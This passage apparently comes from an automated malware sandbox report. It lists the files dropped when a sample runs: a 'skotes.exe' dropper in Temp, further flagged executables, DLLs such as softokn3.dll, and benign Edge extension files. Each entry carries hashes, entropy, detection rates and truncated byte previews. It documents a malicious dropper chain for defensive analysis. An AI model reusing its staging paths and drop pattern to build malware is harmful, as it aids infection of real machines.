Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p2...........@...........................2......M3...@.................................W...k............................S2..............................S2..................................................... . ............................@....rsrc...............................@....idata ............................@...lfjbhkvb..+.......+.................@...xakcdfow.....`2......:2.............@....taggant.0...p2.."...@2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\020158b6-8b1b-47bb-a6db-6690649302d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3181568
Entropy (8bit):	6.6126410293346005
Encrypted:	false
SSDEEP:	98304:bdRN5GNev0jLNAgCNC+OvTWanfl9kuWz5:iUaH9Wz5
MD5:	984C35EEA09867A632CC39215473E64B
SHA1:	0E40D8F2C73ECF63B22B17D354B5E5DB3E2A4D56
SHA-256:	C15E8CD396CE1117BA0D773C8494667CFEA420E7F5BB28F17901F7F9D3F93897
SHA-512:	4B620162A7C8A021E60D707177497E57FA9EFEF23190D519A45896987B91EB4D2E36AC93BB5CE9A2FDEBDDB6CC0DE9CFE8F435D6849A0D175340BC282782DEA8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......1...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...hskfpfnm..........................@...esxidcrg......0......d0.............@....taggant.0....0.."...j0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2157568
Entropy (8bit):	7.956912284305317
Encrypted:	false
SSDEEP:	49152:qMpNaNrfpTZ0chaE/+GSvNcIQ8EVcuFPb+9:h6NNTZ0LE/BS6ZV1jm
MD5:	47BD0F65BDD541918D45ECDDC51E18B3
SHA1:	1F3DD28E412BD2875F15D4C6DF882FEAC5268B04
SHA-256:	7B01C8A4A7C7EFA68631ACB7979C62672B51CDD464EC181564DB8578F0A26187
SHA-512:	E2853FE2BB2EDCEF933E57CCCA76C234E8115C630598BDF6AF0C6DEA32C01D90D0AD83122B72B1DAF620EEF4BF946E0B0295536AFAE9C097A03828F3149F9808
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.......!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...olexbnfi.@...0Y..<..................@...abdjuqmy.....ps....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2859008
Entropy (8bit):	6.46814398864412
Encrypted:	false
SSDEEP:	49152:FtZ2+BfXx1lScltV2VjcT3haTuRobuf9zsDu5Mh:FzJBfXtSclD2VjgkuGEyFh
MD5:	C12AB1B32E3CF94C08F7C05CF2EE1128
SHA1:	A6F3B44C07499B2645C269C069048232F2A70271
SHA-256:	97912A2ED575DD108275A48D268E73B8BF1171B1AA034C0886EFB55E94C4480B
SHA-512:	C2BA79434B0D22D429C211F91B899BF7B9D1811521E9673A3A16645C35EBB348B6D8706E8B4FD6BE3BC39FC1051680EC20B4572F59AF7322D0D2BF20F5F269FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. .......................@,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...tfblgdez.@+......>+..:..............@...iqtyxzos. ....+......x+.............@....taggant.@....,.."...~+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\26dbab2e-91c1-44ff-a1b3-d7ab85ece917.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	117883
Entropy (8bit):	7.9767785793500545
Encrypted:	false
SSDEEP:	3072:sz/M7tb9Nr3uFOmCoGcE61pIXtQHuHuzVR9x7H:XVbuJhE4w6uCH9xL
MD5:	9F5B6C121DA70F0558F5852C3471EB25
SHA1:	D90A07FBB6C4482D535E99EE1D44DCAD63C3A6CC
SHA-256:	04D433108AAA7504EAC3570A061726EFDA54E71CC3957178BEA585DDB0EBB599
SHA-512:	77E9D92403B31778291E8BB8CA4E60C05FAC60A673F04DEE7E63892788A6C29DCE1FC005DC06049564710411479EB088F922FE0286EF6F06234CDA586BE87FAE
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\6b736214-ee37-492a-b369-961dcd3c3def.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3301888
Entropy (8bit):	6.638279327231539
Encrypted:	false
SSDEEP:	49152:zwuqnxzJGz0FiD0A4GyNe/98+njyKN1YrXbPU:enx1Gz0FiD0A4Re/2+njrErr
MD5:	1F851E1840E1A5A45D8C21630061CFC7
SHA1:	EA05EDF1430B5CFB312F07CE13314AC4D7F61BF8
SHA-256:	259B76B23A393BBE38478A12F7DF76EB71B676A0A0B6C1BB8F3085C5F4E6B461
SHA-512:	79A4007940E0B18817993F92E5A3C9DE360AEC6FF0EFB66280B2A9B54A54ADE74F655F3B93A5F933CD9E8DC7371757F4927201982FC6AD1C3EDC7D51A23B1B11
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p2...........@...........................2......M3...@.................................W...k............................S2..............................S2..................................................... . ............................@....rsrc...............................@....idata ............................@...lfjbhkvb..+.......+.................@...xakcdfow.....`2......:2.............@....taggant.0...p2.."...@2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.428396844433968
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0L+Z5E6c0LU5M:JIVuwEw5MUFZLBQLtNqM
MD5:	8C88DFFB6328E7DEA4B0BC8D47735E64
SHA1:	3067E373D5006C8485F7CF37ACC87C7681AE6FC1
SHA-256:	D7AF75D638DE623BB42EE9546C9F2F38487077F3F174736EB11CE327648A36C3
SHA-512:	F10C4C57D1516BCA642A21426021699F012BA177B2342C8AD4110B151A6D13DA6B2387FC293DFA4F65C4381613AEE559DD46CFE16646573AB84B844598C06ED6
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e3786f02-5840-4382-ad9d-95f801dcb3a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
